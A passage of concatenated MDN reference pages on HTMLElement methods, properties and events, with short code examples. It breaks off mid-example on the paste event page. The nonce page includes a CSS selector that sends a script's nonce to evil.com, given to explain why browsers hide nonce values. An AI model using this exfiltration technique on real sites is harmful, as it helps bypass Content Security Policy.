HTMLElement: click() method - Web APIs

HTMLElement: click() method
===========================

 The **`HTMLElement.click()`** method simulates a mouse click on
 an element.

 When `click()` is used with supported elements (such as an
 `<input>`), it fires the element's click event. This event then bubbles
 up to elements higher in the document tree (or event chain) and fires their click
 events.

Syntax
------

```js
click()
```

### Parameters

None.

### Return value

None (`undefined`).

Examples
--------

Simulate a mouse-click when moving the mouse pointer over a checkbox:

### HTML

```html
<form>
  <input
 type="checkbox"
 id="myCheck"
 onmouseover="myFunction()"
 onclick="alert('click event occurred')" />
</form>
```

### JavaScript

```js
// On mouse-over, execute myFunction
function myFunction() {
  document.getElementById("myCheck").click();
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-click-dev |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related event handlers
    + `Element.onclick`
    + `Element.ondblclick`
    + `Element.onauxclick`


HTMLElement: offsetLeft property - Web APIs

HTMLElement: offsetLeft property
================================

The **`HTMLElement.offsetLeft`** read-only property returns the number of pixels that the *upper left corner* of the current element is offset to the left within the `HTMLElement.offsetParent` node.

For block-level elements, `offsetTop`, `offsetLeft`, `offsetWidth`, and `offsetHeight` describe the border box of an element relative to the `offsetParent`.

However, for inline-level elements (such as **span**) that can wrap from one line to the next, `offsetTop` and `offsetLeft` describe the positions of the *first* border box (use `Element.getClientRects()` to get its width and height), while `offsetWidth` and `offsetHeight` describe the dimensions of the *bounding* border box (use `Element.getBoundingClientRect()` to get its position). Therefore, a box with the left, top, width and height of `offsetLeft`, `offsetTop`, `offsetWidth` and `offsetHeight` will not be a bounding box for a span with wrapped text.

Value
-----

An integer.

Examples
--------

```js
const colorTable = document.getElementById("t1");
const tOLeft = colorTable.offsetLeft;

if (tOLeft > 5) {
  // large left offset: do something here
}
```

This example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

![A sentence that reads: Short span. This text is completely within a div with a blue border. A sentence that reads: Long span that wraps within this div. The words "long span that wraps" is within a box with a red border. The words "within this div" are within the div with the blue border. ](/en-US/docs/Web/API/HTMLElement/offsetLeft/offsetleft.jpg)

```html
<div
 style="width: 300px; border-color:blue; border-style:solid; border-width:1;">
  <span>Short span. </span>
  <span id="longspan">Long span that wraps within this div.</span>
</div>

<div
 id="box"
 style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"></div>

<script>
 const box = document.getElementById("box");
 const longspan = document.getElementById("longspan");
 box.style.left = longspan.offsetLeft + document.body.scrollLeft + "px";
 box.style.top = longspan.offsetTop + document.body.scrollTop + "px";
 box.style.width = longspan.offsetWidth + "px";
 box.style.height = longspan.offsetHeight + "px";
</script>
```

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetleft |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.offsetParent`, `HTMLElement.offsetTop`, `HTMLElement.offsetWidth`, `HTMLElement.offsetHeight`


HTMLElement: showPopover() method - Web APIs

HTMLElement: showPopover() method
=================================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
The **`showPopover()`** method of the `HTMLElement` interface shows a popover element (i.e. one that has a valid `popover` attribute) by adding it to the top layer.

When `showPopover()` is called on an element with the `popover` attribute that is currently hidden, a `beforetoggle` event will be fired, followed by the popover showing, and then the `toggle` event firing. If the element is already showing, an error will be thrown.

Syntax
------

```js
showPopover()
```

### Parameters

None.

### Return value

None (`undefined`).

### Exceptions

`InvalidStateError` `DOMException`

Thrown if the popover is already showing.

Examples
--------

The following example provides functionality to show a popover by pressing a particular key on the keyboard.

First, some HTML:

```html
<div id="mypopover" popover>
  <h2>Help!</h2>

  <p>You can use the following commands to control the app</p>

  <ul>
    <li>Press <ins>C</ins> to order cheese</li>
    <li>Press <ins>T</ins> to order tofu</li>
    <li>Press <ins>B</ins> to order bacon</li>
    <hr />
    <li>Say "Service" to summon the robot waiter to take your order</li>
    <li>Say "Escape" to engage the ejector seat</li>
  </ul>
</div>
```

And now the JavaScript to wire up the functionality:

```js
const popover = document.getElementById("mypopover");

document.addEventListener("keydown", (event) => {
  if (event.key === "h") {
    popover.showPopover();
  }
});
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-showpopover |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Popover API


HTMLElement: mscandidatewindowshow event - Web APIs

HTMLElement: mscandidatewindowshow event
========================================

**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The **`mscandidatewindowshow`** event is thrown immediately after the Input Method Editor (IME) candidate window is set to appear, but before it renders.

This proprietary method is specific to Internet Explorer.

This event fires after the positioning information of the IME candidate window has been determined. You can obtain the positioning information using the getCandidateWindowClientRect method, and adjust your layout as needed to avoid any occlusions with the IME candidate window.

Web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("mscandidatewindowshow", (event) => {});

onmscandidatewindowshow = (event) => {};
```

Event type
----------

A generic `Event` with no added properties.

### Example

in IE11, developers can detect the opening of the IME candidate window by listening to `MSCandidateWindowShow` event, then call `getCandidateWindowClientRect()` function to find out where the candidate window is and position the suggestion UI away from it:

```js
const context = document.getElementById("mySearchBox").msGetInputContext();
context.addEventListener("MSCandidateWindowShow", candidateWindowShowHandler);

function candidateWindowShowHandler(e) {
  const imeRect = context.getCandidateWindowClientRect();
  const suggestionRect = document
    .getElementById("mySuggestionList")
    .getBoundingClientRect();
  // Check if the two rects intersect, and position them away from each other.
}
```

When the IME candidate window changes position or closes, it fires `mscandidatewindowupdate` or `mscandidatewindowhide` events. Developers could listen to them and shift the suggestion UI accordingly.

See also
--------

* Microsoft API extensions
* Related events: `mscandidatewindowupdate` and `mscandidatewindowhide`


HTMLElement: contentEditable property - Web APIs

HTMLElement: contentEditable property
=====================================

 The **`contentEditable`** property of
 the `HTMLElement` interface specifies whether or not the element is
 editable.

This enumerated attribute can have the following values:

* '`true`' indicates that the element is `contenteditable`.
* '`false`' indicates that the element cannot be edited.
* '`plaintext-only`' indicates that the element's raw text is editable, but rich text formatting is disabled.
* '`inherit`' indicates that the element inherits its parent's editable
 status.

 You can use the `HTMLElement.isContentEditable` property to test the
 computed boolean value of this property.

Value
-----

A string.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # contenteditable |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.isContentEditable`
* The `contenteditable` global attribute.


HTMLElement: dataset property - Web APIs

HTMLElement: dataset property
=============================

 The **`dataset`** read-only property
 of the `HTMLElement` interface provides read/write access to custom data attributes
 (`data-*`) on elements. It exposes a map of strings
 (`DOMStringMap`) with an entry for each `data-*` attribute.

**Note:** The `dataset` property itself can be read, but not directly written.
 Instead, all writes must be to the individual properties within the
 `dataset`, which in turn represent the data attributes.

 An HTML `data-*` attribute and its corresponding DOM
 `dataset.property` modify their shared name according to where
 they are read or written:

In HTML

 The attribute name begins with `data-`. It can contain only letters,
 numbers, dashes (`-`), periods (`.`), colons (`:`),
 and underscores (`_`). Any ASCII capital letters (`A` to
 `Z`) are converted to lowercase.

In JavaScript

 The property name of a custom data attribute is the same as the HTML attribute
 without the `data-` prefix, and removes single dashes (`-`) for
 when to capitalize the property's "camel-cased" name.

 In addition to the information below, you'll find a how-to guide for using HTML data
 attributes in our article *Using data attributes*.

### Name conversion

`dash-style` to `camelCase` conversion

A custom data attribute name is transformed to a key for the `DOMStringMap` entry by the following:

1. Lowercase all ASCII capital letters (`A` to
 `Z`);
2. Remove the prefix `data-` (including the dash);
3. For any dash (`U+002D`) followed by an ASCII lowercase letter
 `a` to `z`, remove the dash and uppercase the letter;
4. Other characters (including other dashes) are left unchanged.

`camelCase` to `dash-style` conversion

 The opposite transformation, which maps a key to an attribute name, uses the
 following:

1. **Restriction:** Before transformation, a dash *must not* be
 immediately followed by an ASCII lowercase letter `a` to
 `z`;
2. Add the `data-` prefix;
3. Add a dash before any ASCII uppercase letter `A` to `Z`,
 then lowercase the letter;
4. Other characters are left unchanged.

 For example, a `data-abc-def` attribute corresponds to
 `dataset.abcDef`.

### Accessing values

* Attributes can be set and read by the camelCase name/key as an object property of
 the dataset: `element.dataset.keyname`.
* Attributes can also be set and read using bracket syntax:
 `element.dataset['keyname']`.
* The `in` operator can check if a given attribute exists:
 `'keyname' in element.dataset`.
### Setting values

* When the attribute is set, its value is always converted to a string.
 For example: `element.dataset.example = null` is
 converted into `data-example="null"`.
* To remove an attribute, you can use the `delete` operator: `delete element.dataset.keyname`.
Value
-----

A `DOMStringMap`.

Examples
--------

```html
<div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth>
  Carina Anand
</div>
```

```js
const el = document.querySelector("#user");

// el.id === 'user'
// el.dataset.id === '1234567890'
// el.dataset.user === 'carinaanand'
// el.dataset.dateOfBirth === ''

// set a data attribute
el.dataset.dateOfBirth = "1960-10-03";
// Result on JS: el.dataset.dateOfBirth === '1960-10-03'
// Result on HTML: <div id="user" data-id="1234567890" data-user="carinaanand" data-date-of-birth="1960-10-03">Carina Anand</div>

delete el.dataset.dateOfBirth;
// Result on JS: el.dataset.dateOfBirth === undefined
// Result on HTML: <div id="user" data-id="1234567890" data-user="carinaanand">Carina Anand</div>

if (!("someDataAttr" in el.dataset)) {
  el.dataset.someDataAttr = "mydata";
  // Result on JS: 'someDataAttr' in el.dataset === true
  // Result on HTML: <div id="user" data-id="1234567890" data-user="carinaanand" data-some-data-attr="mydata">Carina Anand</div>
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-dataset-dev |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* The HTML `data-*` class
 of global attributes
* Using data attributes
* `Element.getAttribute()` and `Element.setAttribute()`


HTMLElement: tabIndex property - Web APIs

HTMLElement: tabIndex property
==============================

Baseline Widely available
-------------------------

This feature is well established and works across many devices and browser versions. It’s been available across browsers since October 2018.

* Learn more
* See full compatibility
* Report feedback

 The **`tabIndex`** property of the
 `HTMLElement` interface represents the tab order of the current element.

Tab order is as follows:

1. Elements with a positive `tabIndex`. Elements that have identical
 `tabIndex` values should be navigated in the order they appear. Navigation
 proceeds from the lowest `tabIndex` to the highest `tabIndex`.
2. Elements that do not support the `tabIndex` attribute or support it and
 assign `tabIndex` to `0`, in the order they appear.

Elements that are disabled do not participate in the tabbing order.

 Values don't need to be sequential, nor must they begin with any particular value. They
 may even be negative, though each browser trims very large values.

Value
-----

An integer.

Examples
--------

```js
const b1 = document.getElementById("button1");

b1.tabIndex = 1;
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-tabindex |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Accessibility of keyboard-navigable JavaScript widgets
* The HTML
 `tabindex`
 global attribute.


HTMLElement: style property - Web APIs

HTMLElement: style property
===========================

The read-only **`style`** property of the `HTMLElement` returns the *inline* style of an element in the form of a live `CSSStyleDeclaration` object that contains a list of all styles properties for that element with values assigned only for the attributes that are defined in the element's inline `style` attribute.

Shorthand properties are expanded. If you set `style="border-top: 1px solid black"`, the longhand properties (`border-top-color`, `border-top-style`, and `border-top-width`) are set instead.

This property is read-only, meaning it is not possible to assign a `CSSStyleDeclaration` object to it. Nevertheless, it is possible to set an inline style by assigning a *string* directly to the `style` property. In this case the string is forwarded to `CSSStyleDeclaration.cssText`. Using `style` in this manner will completely overwrite all inline styles on the element.

Therefore, to add specific styles to an element without altering other style values, it is generally preferable to set individual properties on the `CSSStyleDeclaration` object. For example, you can write `element.style.backgroundColor = "red"`.

A style declaration is reset by setting it to `null` or an empty string, e.g., `elt.style.color = null`.

**Note:** CSS property names are converted to JavaScript identifier with these rules:

* If the property is made of one word, it remains as it is: `height` stays as is (in lowercase).
* If the property is made of several words, separated by dashes, the dashes are removed and it is converted to camel case: `background-attachment` becomes `backgroundAttachment`.
* The property `float`, being a reserved JavaScript keyword, is converted to `cssFloat`.

The `style` property has the same priority in the CSS cascade as an inline style declaration set via the `style` attribute.

Value
-----

A live `CSSStyleDeclaration` object.

Examples
--------

### Getting style information

The following code snippet demonstrates how the values obtained using the element's `style` property relates to the style set on the HTML attribute:

```html
<!doctype html>
<html lang="en-US">
  <body style="font-weight:bold">
    <div style="border-top: 1px solid blue; color:red" id="elt">
      An example div
    </div>
    <pre id="out"></pre>
  </body>
</html>
```

```js
const element = document.getElementById("elt");
const out = document.getElementById("out");
const elementStyle = element.style;

// We loop through all styles (for…of doesn't work with CSSStyleDeclaration)
for (const prop in elementStyle) {
  if (Object.hasOwn(elementStyle, prop)) {
    out.textContent += `${
 elementStyle[prop]
 } = '${elementStyle.getPropertyValue(elementStyle[prop])}'\n`;
  }
}
```

Note `font-weight` is not listed as a value for `elementStyle` as it is not defined within the `style` attribute of the element itself. Rather, it is inherited from the definition on its parent. Also note that the shorthand `border-top` property, defined in the `style` attribute, is not listed directly. Rather, it is replaced by the three corresponding longhand properties (`border-top-color`, `border-top-style`, and `border-top-width`).

Specifications
--------------

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-elementcssinlinestyle-style |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Using dynamic styling information
* `SVGElement.style`


HTMLElement: accessKey property - Web APIs

HTMLElement: accessKey property
===============================

The **`HTMLElement.accessKey`** property sets the keystroke which a user can press to jump to a given element.

**Note:** The `HTMLElement.accessKey` property is seldom used because of its multiple conflicts with already present key bindings in browsers. To work around this, browsers implement accesskey behavior if the keys are pressed with other "qualifying" keys (such as `Alt` + accesskey).

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-accesskey |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTML global attribute: accesskey


HTMLElement: dir property - Web APIs

HTMLElement: dir property
=========================

 The **`HTMLElement.dir`** property gets or sets the text
 writing directionality of the content of the current element.

 The text writing directionality of an element is which direction that text goes (for
 support of different language systems). Arabic languages and Hebrew are typical
 languages using the RTL directionality.

 An image can have its `dir` property set to "`rtl`" in which case
 the HTML attributes `title` and `alt` will be formatted and
 defined as "`rtl`".

 When a table has its `dir` set to "`rtl`", the column order is
 arranged from right to left.

 When an element has its dir set to "`auto`", the direction of the element is
 determined based on its first strong directionality character, or default to the
 directionality of its parent element.

**Note:** Browsers might allow users to change the directionality of `<input>`
 and `<textarea>`s in order to assist with authoring content. Chrome
 and Safari provide a directionality option in the contextual menu of input fields
 while pre-Chromium Edge uses the key combinations `Ctrl` + `Left Shift` and `Ctrl` + `Right Shift`. Firefox uses `Ctrl`/`Cmd` + `Shift` + `X` but does NOT update
 the **`dir`** attribute value.

Value
-----

One of the following:

* `ltr`, for left-to-right;
* `rtl`, for right-to-left;
* `auto` for specifying that the direction of the element must be determined based on the contents of the element.
Examples
--------

```js
const parg = document.getElementById("para1");
parg.dir = "rtl";
// change the text direction on a paragraph identified as "para1"
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-dir |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `document.dir`
* HTML `dir`
 global attribute
* CSS `direction` property
* CSS `:dir` pseudo-class


HTMLElement: outerText property - Web APIs

HTMLElement: outerText property
===============================

 The **`outerText`** property of the `HTMLElement` interface returns the same value as `HTMLElement.innerText`.
 When used as a setter it replaces the whole current node with the given text (this differs from `innerText`, which replaces the content *inside* the current node).

See `HTMLElement.innerText` for more information and examples showing how both properties are used as getters.

Value
-----

A string representing the rendered text content of an element and its descendants.

If the element itself is not being rendered (for example, is detached from the document or is hidden from view), the returned value is the same as the `Node.textContent` property.

When used as a setter it replaces the current node with the given text, converting any line breaks into `<br>` elements.

Examples
--------

This example highlights the fundamental difference between `outerText` and `innerText` when used as setters (they are the same when used by getters).

**Note:** The example is a modified version of What is the difference between innerText and outerText? (Stack overflow) by codingintrigue, is licensed under CC BY-SA 3.0.

Consider a page that contains the following HTML:

```html
<div>
  <p>Original content</p>
</div>
```

`outerText` replaces the whole selected element, so the JavaScript `p.outerText = "Whole element replaced"` replaces the whole selected `p` element:

```html
<div>Whole element replaced</div>
```

By contrast, `p.innerText = "Content inside element replaced"` replaces the content *inside* the selected `p` element:

```html
<div>
  <p>Content inside element replaced</p>
</div>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-outertext |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.innerText`
* `Element.outerHTML`


HTMLElement: editContext property - Web APIs

HTMLElement: editContext property
=================================

**Experimental:** **This is an experimental technology**
Check the Browser compatibility table carefully before using this in production.

The **`editContext`** property of the `HTMLElement` interface gets and sets an element's associated `EditContext` object.

The EditContext API can be used to build rich text editors on the web that support advanced text input experiences, such as Input Method Editor (IME) composition, emoji picker, or any other platform-specific editing-related UI surfaces.

### Possible elements

Setting the `editContext` property only works on certain types of elements:

* One of these HTML elements: `<article>`, `<aside>`, `<blockquote>`, `<body>`, `<div>`, `<footer>`, `<h1>`, `<h2>`, `<h3>`, `<h4>`, `<h5>`, `<h6>`, `<header>`, `<main>`, `<nav>`, `<p>`, `<section>`, or `<span>`.
* A valid custom element.
* A `<canvas>` element.

If you try to set the `editContext` property on an element that is not one of the above, a `NotSupportedError` `DOMException` is thrown.

### Element association

Setting the `editContext` property of an element to a `EditContext` instance associates that element with the `EditContext` instance.

The association is one-to-one:

* An element can only be associated to one `EditContext` instance.
* An `EditContext` instance can only be associated to one element.

If you try to associate an already associated `EditContext` instance to a different element, a `DOMException` is thrown.

If you try to associate an other `EditContext` instance to an element that's already associated, a `DOMException` is also thrown.

To check whether an element is associated with an `EditContext` instance already, use the `EditContext.attachedElements()` method.

### Garbage collection

An `EditContext` instance will keep its associated element alive if it has other live references, even if the associated element is removed from the DOM.

If you want to make sure the element is garbage collected, clear the `editContext` property of the element.

Value
-----

An `EditContext` object or `null`.

Examples
--------

### Setting an element's `editContext` property

This example shows how to set the `editContext` property of a `<canvas>` element to a new `EditContext` instance in order to make the element editable.

```html
<canvas id="editor-canvas"></canvas>
```

```js
const canvas = document.getElementById("editor-canvas");
const editContext = new EditContext();
canvas.editContext = editContext;
```

### Clearing an element's `editContext` property

This example shows how to clear the `editContext` property of an editable `<canvas>` element in order to safely remove the element from the DOM.

```html
<canvas id="editor-canvas"></canvas>
```

```js
// Create the EditContext and associate it with the canvas element.
const canvas = document.getElementById("editor-canvas");
const editContext = new EditContext();
canvas.editContext = editContext;

// Later, clear the editContext property, and remove the element.
canvas.editContext = null;
canvas.remove();
```

Specifications
--------------

| Specification |
| --- |
| EditContext API # dom-htmlelement-editcontext |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* The `EditContext` interface.


HTMLElement: offsetWidth property - Web APIs

HTMLElement: offsetWidth property
=================================

 The **`HTMLElement.offsetWidth`** read-only property returns
 the layout width of an element as an integer.

 Typically, `offsetWidth` is a measurement in pixels of the element's CSS
 width, including any borders, padding, and vertical scrollbars (if rendered). It does
 not include the width of pseudo-elements such as `::before` or
 `::after`.

 If the element is hidden (for example, by setting `style.display` on the
 element or one of its ancestors to `"none"`), then `0` is
 returned.

Value
-----

An integer corresponding to the `offsetWidth` pixel value of the element. The `offsetWidth` property is a read-only.

**Note:** This property will round the value to an integer. If you need a fractional value, use
 `element.getBoundingClientRect()`.

Examples
--------

![An example element with large padding, border and margin. offsetWidth is the layout width of the element including its padding and border, and excluding its margin.](/en-US/docs/Web/API/HTMLElement/offsetWidth/dimensions-offset.png)

Specifications
--------------

| Specification |
| --- |
| CSSOM View Module # dom-htmlelement-offsetwidth |

### Notes

`offsetWidth` is a property of the DHTML object model which was first
 introduced by MSIE. It is sometimes referred to as an element's physical/graphical
 dimensions, or an element's border-box width.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `Element.clientWidth`
* `Element.scrollWidth`
* Determining the dimensions of elements


HTMLElement: blur() method - Web APIs

HTMLElement: blur() method
==========================

The **`HTMLElement.blur()`** method removes keyboard focus from the current element.

Syntax
------

```js
blur()
```

### Parameters

None.

### Return value

None (`undefined`).

Examples
--------

### Remove focus from a text input

#### HTML

```html
<input type="text" id="sampleText" value="Sample Text" /> <br /><br />
<button type="button" onclick="focusInput()">Click me to gain focus</button>
```

#### JavaScript

```js
function focusInput() {
  const textField = document.getElementById("sampleText");

  textField.focus();

  // The input will lose focus after 3 seconds
  setTimeout(() => {
    textField.blur();
  }, 3000);
}
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-blur-dev |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.focus`


HTMLElement: nonce property - Web APIs

HTMLElement: nonce property
===========================

The **`nonce`** property of the `HTMLElement` interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.

In later implementations, elements only expose their `nonce` attribute to scripts (and not to side-channels like CSS attribute selectors).

Examples
--------

### Retrieving a nonce value

In the past, not all browsers supported the `nonce` IDL attribute, so a workaround is to try to use `getAttribute` as a fallback:

```js
let nonce = script["nonce"] || script.getAttribute("nonce");
```

However, recent browsers version hide `nonce` values that are accessed this way (an empty string will be returned). The IDL property (`script['nonce']`) will be the only way to access nonces.

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this CSS selector:

```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-noncedelement-nonce |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `nonce` global attribute
* Content Security Policy
* CSP: `script-src`


HTMLElement: dragover event - Web APIs

HTMLElement: dragover event
===========================

The `dragover` event is fired when an element or text selection is being dragged over a valid drop target (every few hundred milliseconds).

This event is cancelable and may bubble up to the `Document` and `Window` objects.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("dragover", (event) => {});

ondragover = (event) => {};
```

Event type
----------

A `DragEvent`. Inherits from `Event`.

Event

UIEvent

MouseEvent

DragEventEvent properties
----------------

*In addition to the properties listed below, properties from the parent interface, `Event`, are available.*

`DragEvent.dataTransfer` Read only

The data that is transferred during a drag-and-drop interaction.

Examples
--------

### A minimal drag-and-drop example

In this example, we have a draggable element inside a container. Try grabbing the element, dragging it over the other container, and releasing it.

We use three event handlers here:

* in the `dragstart` event handler, we get a reference to the element that the user dragged
* in the `dragover` event handler for the target container, we call `event.preventDefault()`, which enables it to receive `drop` events.
* in the `drop` event handler for the drop zone, we handle moving the draggable element from the original container to the drop zone.

For a complete example of drag and drop, see the page for the `drag` event.

#### HTML

```html
<div class="dropzone">
  <div id="draggable" draggable="true">This div is draggable</div>
</div>
<div class="dropzone" id="droptarget"></div>
```

#### CSS

```css
body {
  /\* Prevent the user from selecting text in the example \*/
  user-select: none;
}

#draggable {
  text-align: center;
  background: white;
}

.dropzone {
  width: 200px;
  height: 20px;
  background: blueviolet;
  margin: 10px;
  padding: 10px;
}
```

#### JavaScript

```js
let dragged = null;

const source = document.getElementById("draggable");
source.addEventListener("dragstart", (event) => {
  // store a ref. on the dragged elem
  dragged = event.target;
});

const target = document.getElementById("droptarget");
target.addEventListener("dragover", (event) => {
  // prevent default to allow drop
  event.preventDefault();
});

target.addEventListener("drop", (event) => {
  // prevent default action (open as link for some elements)
  event.preventDefault();
  // move dragged element to the selected drop target
  if (event.target.className === "dropzone") {
    dragged.parentNode.removeChild(dragged);
    event.target.appendChild(dragged);
  }
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # ix-handler-ondragover |
| HTML Standard # event-dnd-dragover |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Other drag and drop events:
    + `drag`
    + `dragstart`
    + `dragend`
    + `dragenter`
    + `dragleave`
    + `drop`


HTMLElement: togglePopover() method - Web APIs

HTMLElement: togglePopover() method
===================================

Limited availability
--------------------

This feature is not Baseline because it does not work in some of the most widely-used browsers.

* Learn more
* See full compatibility
* Report feedback
The **`togglePopover()`** method of the `HTMLElement` interface toggles a popover element (i.e. one that has a valid `popover` attribute) between the hidden and showing states.

When `togglePopover()` is called on an element with the `popover` attribute:

1. A `beforetoggle` event is fired.
2. The popover toggles between hidden and showing:
    1. If it was initially showing, it toggles to hidden.
    2. If it was initially hidden, it toggles to showing.
3. A `toggle` event is fired.
Syntax
------

```js
togglePopover(force)
```

### Parameters

`force`

A boolean, which causes `togglePopover()` to behave like `showPopover()` or `hidePopover()`, except that it doesn't throw an exception if the popover is already in the target state.

* If set to `true`, the popover is shown if it was initially hidden. If it was initially shown, nothing happens.
* If set to `false`, the popover is hidden if it was initially shown. If it was initially hidden, nothing happens.

### Return value

`true` if the popup is open after the call, and `false` otherwise.

None (`undefined`) may be returned in older browser versions (see browser compatibility).

Examples
--------

See the Popover API examples landing page to access the full collection of MDN popover examples.

### Simple auto-popup

 This is a slightly modified version of the Toggle Help UI Popover Example.
 The example toggles a popover on and off by pressing a particular key on the keyboard (when the example window has focus).

 The HTML for the example is shown below.
 This first element defines instructions on how to invoke the popup, which we need because popups are hidden by default.

```html
<p id="instructions">
  Press "h" to toggle a help screen (select example window first).
</p>
```

 We then define a `<div>` element which is the popup.
 The actual content doesn't matter, but note that we need the `popover` attribute to make the `<div>` into a popover so that it is hidden by default (or we could set this element in the JavaScript).

```html
<div id="mypopover" popover>
  <h2>Help!</h2>

  <p>You can use the following commands to control the app</p>

  <ul>
    <li>Press <ins>C</ins> to order cheese</li>
    <li>Press <ins>T</ins> to order tofu</li>
    <li>Press <ins>B</ins> to order bacon</li>
  </ul>
</div>
```

 The JavaScript for the example is shown below.
 First we check whether popovers are supported, and if they aren't we hide the popover `div` so that it isn't displayed inline.

```js
const instructions = document.getElementById("instructions");
const popover = document.getElementById("mypopover");

if (!HTMLElement.prototype.hasOwnProperty("popover")) {
  popover.innerText = "";
  instructions.innerText = "Popovers not supported";
}
```

 If popovers are supported we add a listener for the `h` key to be pressed, and use that to trigger opening the popup.
 We also log whether the popup was open or closed after the call, but only if a `true` or `false` was returned.

```js
if (HTMLElement.prototype.hasOwnProperty("popover")) {
  document.addEventListener("keydown", (event) => {
    if (event.key === "h") {
      const popupOpened = popover.togglePopover();

      // Check if popover is opened or closed on supporting browsers
      if (popupOpened !== undefined) {
        instructions.innerText +=
          popupOpened === true ? `\nOpened` : `\nClosed`;
      }
    }
  });
}
```

You can test this out using the live example below.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-togglepopover |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `popover` HTML global attribute
* Popover API


HTMLElement: error event - Web APIs

HTMLElement: error event
========================

The `error` event is fired on an element when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.

This event is not cancelable and does not bubble.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("error", (event) => {});

onerror = (event) => {};
```

Event type
----------

The event object is a `UIEvent` instance if it was generated from a user interface element, or an `Event` instance otherwise.

Event

UIEventExamples
--------

### Live example

#### HTML

```html
<div class="controls">
  <button id="img-error" type="button">Generate image error</button>
  <img class="bad-img" />
</div>

<div class="event-log">
  <label for="eventLog">Event log:</label>
  <textarea
 readonly
 class="event-log-contents"
 rows="8"
 cols="30"
 id="eventLog"></textarea>
</div>
```

```
body {
  display: grid;
  grid-template-areas: "control log";
}

.controls {
  grid-area: control;
  display: flex;
  align-items: center;
  justify-content: center;
}

.event-log {
  grid-area: log;
}

.event-log-contents {
  resize: none;
}

label,
button {
  display: block;
}

button {
  height: 2rem;
  margin: 0.5rem;
}

img {
  width: 0;
  height: 0;
}
```

#### JavaScript

```js
const log = document.querySelector(".event-log-contents");

const badImg = document.querySelector(".bad-img");
badImg.addEventListener("error", (event) => {
  log.textContent += `${event.type}: Loading image\n`;
  console.log(event);
});

const imgError = document.querySelector("#img-error");
imgError.addEventListener("click", () => {
  badImg.setAttribute("src", "i-dont-exist");
});
```

#### Result

Specifications
--------------

| Specification |
| --- |
| UI Events # event-type-error |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Related events
    + Window: `error` event
    + HTMLElement: `load` event


HTMLElement: paste event - Web APIs

HTMLElement: paste event
========================

The **`paste`** event fires when the user initiates a paste action through the browser's user interface.

Syntax
------

Use the event name in methods like `addEventListener()`, or set an event handler property.

```js
addEventListener("paste", (event) => {});

onpaste = (event) => {};
```

Event type
----------

A `ClipboardEvent`. Inherits from `Event`.

Event

ClipboardEventEvent properties
----------------

*Also inherits properties from its parent `Event`*.

`ClipboardEvent.clipboardData` Read only

A `DataTransfer` object containing the data affected by the user-initiated `cut`, `copy`, or `paste` operation, along with its MIME type.

Example
-------

This example logs every copy and paste attempt to the `<textarea>`.

### HTML

```html
<h3>Play with this text area:</h3>
<textarea id="editor" rows="3">
Try copying and pasting text into this field!
</textarea>

<h3>Log:</h3>
<p id="log"></p>
```

### JavaScript

```js
function logCopy(event) {
